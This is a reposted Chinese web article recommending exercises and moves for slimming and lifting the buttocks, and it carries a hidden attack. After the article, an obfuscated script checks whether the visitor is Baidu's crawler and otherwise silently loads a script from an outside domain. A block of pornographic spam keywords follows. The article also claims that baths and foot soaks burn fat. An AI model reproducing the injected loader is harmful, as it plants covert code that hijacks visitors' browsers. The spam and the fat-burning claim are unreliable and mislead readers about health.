當前位置:首頁 > 減肥 > 運動減肥 > 正文

瘦臀部的運動有哪些 臀部怎么減肥?

2017-01-15 23:10:50  來源:360常識網   熱度:
導語:優美的身體不僅需要人魚線一樣的身材,還需要一個翹翹的屁股來加分,所以瘦臀對于每個喜歡完美的身材的人來說十分重要,那么怎么瘦臀呢?

優美的身體不僅需要人魚線一樣的身材,還需要一個翹翹的屁股來加分,所以瘦臀對于每個喜歡完美的身材的人來說十分重要,那么怎么瘦臀呢?

臀部減肥的運動方法有:

①跑步

尤其上坡的跑步更有效。如果在平地跑,就多做幾下腳跟、大腿的伸展動作。

②舞蹈

不但強化肌肉也能漂亮的伸展身體線條。尤其像是拉丁舞、佛朗明哥舞等需要擺動下盤的動作,更能幫助提臀、塑臀。

③游泳

游泳是修身減臀的最好的健身活動,因為在水中的阻力大很多,是減掉臀部脂肪的好方法,每天游泳二十分鐘左右,長期堅持,擁有美臀不成問題。

④溜直排輪

溜直排輪時提膝、身體微向前、大腿向后拉等等,都是塑臀的必備動作。

⑤多泡澡或足浴

泡澡不僅能夠促進血液循環,加速其身體新陳代謝,能夠很好的消耗脂肪,在減掉身上肉肉的同時,還有很好的美容功效呢。

臀部減肥的幾個招式:

瘦臀招式① 雙腿夾緊

站立,挺直上身,兩手自然垂直在身側,然后腿部用力夾緊,感覺臀部在互相擠壓;

保持該動作片刻后,放松,再用力夾緊,不斷重復此動作,每天堅持練習,可消除臀部贅肉,讓臀部更翹挺。

瘦臀招式② 臀部后翹

挺直站立,兩手自然垂立,然后自用臀部的力量將臀部向后翹,直翹至極限,然后保持姿勢一會兒,再恢復站姿,反復練習直至感覺酸楚,每天堅持練習,要預防臀部下垂,并緊實臀部肌肉,讓臀部更翹挺。

瘦臀招式③ 手腳平衡法

身體保持直立,然后身體慢慢向前傾,同時將左腿向后抬,用左手夠左腳,保持身體平衡,只需輕輕勾住即可;

右手向前探,上半身保持直挺,維持10秒后換另一邊,左右各重復5次。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
中文字幕精品一区二区日本| 日韩免费精品视频| 亚洲av午夜成人片精品网站| 久久精品国产99久久| 老司机67194精品线观看| 91精品久久久久久久99蜜桃 | 校园春色国产精品| 国产在线麻豆精品观看| 国产精品玖玖美女张开腿让男人桶爽免费看 | 亚洲中文久久精品无码| 久久国产精品最新一区| 91精品啪在线观看国产线免费| 99国产精品无码| 国产精品夜夜爽范冰冰| 精品国产国产综合精品| 青青草国产精品久久久久| 2021国产精品自拍| 国产免费久久精品99re丫y| 国产精品情侣呻吟对白视频| 国产精品单位女同事在线| 好属妞这里只有精品久久| 99久久99久久久精品久久| 在线精品一区二区三区| 在线亚洲精品视频| 三上悠亚国产精品一区| 久久棈精品久久久久久噜噜| 2021最新久久久视精品爱| 四虎永久在线精品视频免费观看| 成人精品视频99在线观看免费| 亚洲av无码乱码国产精品| 久久久久久久久66精品片| 午夜一级日韩精品制服诱惑我们这边| 久久精品国产精品亚洲| 日韩精品视频一区二区三区| 日韩欧美亚洲国产精品字幕久久久| 精品视频在线观看一区二区| 亚洲人成精品久久久久| 亚洲国产精品yw在线观看| 国产精品jizzjizz| 麻豆精品久久久一区二区| 久久91精品国产91|